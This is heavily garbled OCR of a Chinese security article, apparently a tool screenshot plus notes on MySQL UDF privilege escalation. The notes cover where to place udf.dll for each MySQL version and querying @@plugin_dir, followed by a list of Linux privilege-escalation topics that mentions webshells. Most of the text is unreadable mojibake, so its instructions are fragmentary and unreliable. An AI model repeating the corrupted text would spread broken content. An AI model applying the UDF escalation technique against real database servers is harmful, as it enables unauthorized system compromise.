[~ Past data [ Referrer ™% OaxHEX g - HIEL - - BASEE4 o d Insert string to repl{|Insert replacing strii [V Re

C:f phipStudy2éaod fRuntime) Tempf B | FIER

I StoLs
it i“'ﬁlil pes  [Klglort  ERSfoor  ERS

=l ool ] e |
SRR ATH

JRR R ITiE
mysqlAERRZudl. dISASBEEAAR , EEERERENYSqIREMNE.
(1) 2FEmysqliR=<5.0 , WSHRIMEEIESOEET |, TEABRERFIEE

(2) #0EmysqlRRZE7E5.0~5.12/8 , WSHREEEFRREMRAWINdOWSERZEE T , #ic:/ . c:/windows,
c:/windows/system32 , EREEZS TRTAERTEALL ;

(3) MEmysqiRa=>5. 1iRE , MERudf.dIFHASAEMYsqI=EER FETlib/plugin”F |, SURHENATA.
LMERREEmysqlgIRRZ795.5.47 , AF5.1kRE , &= HEEEMH/lib/plugin/ER.
EFERFE@plugin_dir=ERaEERNERUE  T=FIBER :

"D:\xampp\mysql\lib\plugin\"”

EEEERRESS

Mysgl> slect @@plugin_dir;

1.20.4 .45

BRFE2], WEBSM—ads, HTSERERA L, FERIRI 2 RIUEIN Google U #:AE,
W EL %Y. )5, ML Szrzvdny R blog #ihik: http://www.inksec.cn/, FRIFIHE
v N

B2 RARE

LARREE/EIT®

W 265 2 A )T —— A B (EE/IEAE) AR IRl dE AT ar U A7 9
AT LN BOR CRTRLE E SCHREORD BHEAEARBE T, Wl KK Z 5.
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(1) Wl ANz H E 3050 #r

(2) JRET I NMRAT N IFFIBAME P IR T

(3) MK AT 2 2B 3

(4) 7ELR IR webshell 5% AT N

(5) PR3k 2 4 o ] S %

(6) NAZ XS F5 A SR W A it

(7> BUIESHr

PLEIAIEERAE linux 538 H P AR

MOMFRHEZR 2 . B AN BRI AT BE 718 5 DA A HUE

LU N TRl )N &5 % N

XOEHEATHE R, AL DA, Waln A

#5128 mi/dk 128 miREM: H 28 0 HTARE: KR



